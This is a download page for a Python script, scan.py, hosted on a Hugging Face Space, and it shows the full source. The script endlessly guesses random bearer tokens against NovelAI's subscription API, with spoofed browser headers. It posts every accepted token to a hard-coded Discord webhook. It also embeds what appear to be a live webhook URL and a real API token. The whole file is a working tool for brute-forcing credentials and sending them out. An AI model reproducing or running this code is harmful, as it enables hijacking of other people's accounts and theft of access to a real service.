Download scan.py from HyperHail/C: direct link, hf CLI and curl.
- Browser
- Download file 1.89 kB
-
https://huggingface.co/spaces/HyperHail/C/resolve/main/scan.py
- Command line
-
hf download hf://spaces/HyperHail/C/scan.py
-
curl -L -o scan.py https://huggingface.co/spaces/HyperHail/C/resolve/main/scan.py
1.89 kB
| import requests | |
| import secrets | |
| import time | |
| webhook_url = "https://discord.com/api/webhooks/1442658050371485707/RiZ4sA9ECIn9YQoWJBQp8M-74x8krWd59CG-_pOlquQ363ixdNZJzAeUQXIVgYmR7Ipy" | |
| headers = { | |
| 'accept': '*/*', | |
| 'accept-language': 'en-US,en;q=0.9', | |
| 'cache-control': 'no-cache', | |
| 'content-type': 'application/json', | |
| 'origin': 'https://novelai.net', | |
| 'pragma': 'no-cache', | |
| 'priority': 'u=1, i', | |
| 'referer': 'https://novelai.net/', | |
| 'sec-ch-ua': '"Chromium";v="152", "Not?A_Brand";v="24", "Google Chrome";v="152"', | |
| 'sec-ch-ua-mobile': '?0', | |
| 'sec-ch-ua-platform': '"Windows"', | |
| 'sec-fetch-dest': 'empty', | |
| 'sec-fetch-mode': 'cors', | |
| 'sec-fetch-site': 'same-site', | |
| 'sec-gpc': '1', | |
| 'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/152.0.0.0 Safari/537.36', | |
| } | |
| tested = 0 | |
| while True: | |
| tok = secrets.token_urlsafe(48) | |
| headers['authorization'] = f'Bearer pst-{tok}' | |
| response = requests.get('https://image.novelai.net/user/subscription', headers=headers) | |
| text = response.text | |
| notf = text[2] == "s" | |
| if not notf: | |
| requests.post( | |
| webhook_url, | |
| json={"content": f"{tok} {text}"}, | |
| ) | |
| print("Found") | |
| tested += 1 | |
| if tested % 5000 == 0: | |
| print(f"Scanned {tested}") | |
| if tested % 500 == 0: | |
| headers['authorization'] = f'Bearer pst-_mPqIJKNzrrhymwIg3KhlrO3NFXhAlMbH--fTJNAsU6i2vtENDAhlHFFu0kDmwks' | |
| response = requests.get('https://image.novelai.net/user/subscription', headers=headers) | |
| text = response.text | |
| notf = text[2] == "s" | |
| if notf: | |
| requests.post( | |
| webhook_url, | |
| json={"content": f"Rate Limited or Key Failed"}, | |
| ) | |
| time.sleep(60) | |
| # time.sleep(1) | |